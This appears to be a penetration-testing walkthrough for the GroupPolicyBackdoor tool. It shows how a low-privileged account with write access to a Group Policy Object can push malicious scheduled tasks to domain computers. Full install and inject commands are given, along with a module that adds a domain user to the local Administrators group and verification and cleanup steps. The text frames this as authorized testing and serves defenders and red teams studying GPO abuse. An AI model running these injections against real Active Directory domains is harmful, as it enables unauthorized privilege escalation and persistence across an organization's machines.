v1.0

GroupPolicyBackdoor

By
Brian Johnson

A cool tool for "Group Policy Objects (GPOs) manipulation and exploitation".

Install

git clone https://github.com/synacktiv/GroupPolicyBackdoor
python3 -m venv .venv && source .venv/bin/activate
python3 -m pip install -r requirements.txt

The tool relies on GSSAPI for Kerberos authentication, so it should be installed system-wide. For Debian systems do:

apt install libkrb5-dev

See the wiki for more info

Back up a GPO before mucking with it

python3 gpb.py restore backup -d 'corp.com' -o './gpobackupz' --dc ad01-dc.corp.com -u 'john' -p 'Password1!' -n 'TARGET_GPO'

Design a malicious SCHEDULED task

Look at one of the example .ini files in the modules_templates subfolder, but here's a simple one that will do a whoami and save the result to c:\ so you can know for sure if the evil task fired:

Scheduled task

; Scheduled Task POC - identity proof to C:\, scoped to SQL07 ONLY
[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
action = create
task_type = scheduled
program = cmd.exe
arguments = /c whoami > C:\gpo_poc.txt
repeat_every = 60
expiration_date = 2026-10-30T23:00:00
task_name = GPO POC
author = domainadmin
description = Authorized penetration test POC - safe to remove

[MODULEFILTERS]
filters =
    [
        {
            "operator": "AND",
            "type": "Environment Variable",
            "variableName": "COMPUTERNAME",
            "value": "SQL07"
        }
    ]

Immediate task

; Immediate task - add domain user to local Administrators
[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c net localgroup Administrators MYLAB\lowpriv /add
task_name = GPO POC2
author = SOMEDOMAINADMIN
description = Authorized penetration test POC - safe to remove

[MODULEFILTERS]
filters =
    [
        {
            "operator": "AND",
            "type": "Environment Variable",
            "variableName": "COMPUTERNAME",
            "value": "SQL07"
        }
    ]

Push the evil scheduled task

python3 gpb.py gpo inject --domain 'domain.com' --dc 'dc.domain.com' -u lowpriv -p 'JingleAllTheWay!' --verbose --gpo-name 'VulnerableGPO' --module sql07pwnage.ini

Monitor the task's success/failure

I first used this tool to push changes to a GPO that applied to a server I had local admin on, so from a WinRM shell I first sanity-checked if the GPO applied to my system:

gpresult /r /scope computer

Then I force-refreshed GPO processing:

gpupdate /force

I checked to see if the task made it to the queue:

schtasks /query /tn "GPO POC" /fo LIST /v

You can also check to see the timestamps of recent GPO refreshes:

Get-EventLog -LogName System -Source Microsoft-Windows-GroupPolicy -Newest 10

Cleanup the evil scheduled task out of the GPO

python3 gpb.py gpo clean --domain 'domain.com' --dc 'dc.domain.com' -u lowpriv -p 'JingleAllTheWay!' --state-folder state_folders/2026_10_29_225152_236351/

Cleanup artifacts off the target system(s)

Read this but essentially whenever possible, the tool will create a .ini file that reverses the action performed by client devices. So in our case:

python3 gpb.py gpo inject --domain 'domain.com' --dc 'dc.domain.com' -m 'state_folders/2026_10_29_225152_236351/revert/reverse_Scheduled_Task_create_netKRp.ini' --gpo-name 'VulnerableGPO'

And/or you could WinRM directly to the box and nuke the scheduled task by name:

schtasks /delete /tn "GPO POC" /f